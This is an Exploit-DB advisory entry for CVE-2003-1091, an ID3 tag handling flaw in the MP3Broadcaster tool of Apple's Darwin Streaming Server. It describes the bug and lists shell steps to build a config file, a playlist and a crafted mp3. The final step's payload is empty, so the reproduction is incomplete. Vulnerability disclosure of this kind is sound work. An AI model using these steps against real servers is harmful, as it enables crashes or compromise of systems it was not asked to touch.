Apple QuickTime/Darwin Streaming MP3Broadcaster - ID3 Tag Handling Vulnerability

ID EDB-ID:22630
Type exploitdb
Reporter Sir Mordred
Modified 2003-05-22T00:00:00


Apple QuickTime/Darwin Streaming MP3Broadcaster 0 ID3 Tag Handling Vulnerability. CVE-2003-1091. Remote exploit for osx platform


MP3Broadcaster is shipped as part of Darwin Streaming Server software.

MP3Broadcaster has been reported prone to a vulnerability when processing malicious ID3 tags. This is likely due to insufficient sanity checks performed when handling signed integer values contained within MP3 file ID3 tags.

First create the sample configuration file:
$ echo -e "\n" > test.conf

Then create a playlist file:
$ echo -e "*PLAY-LIST*\nsong.mp3" > mp3playlist.ply

Create a specially crafted mp3 file:
$ echo -e

" > song.mp3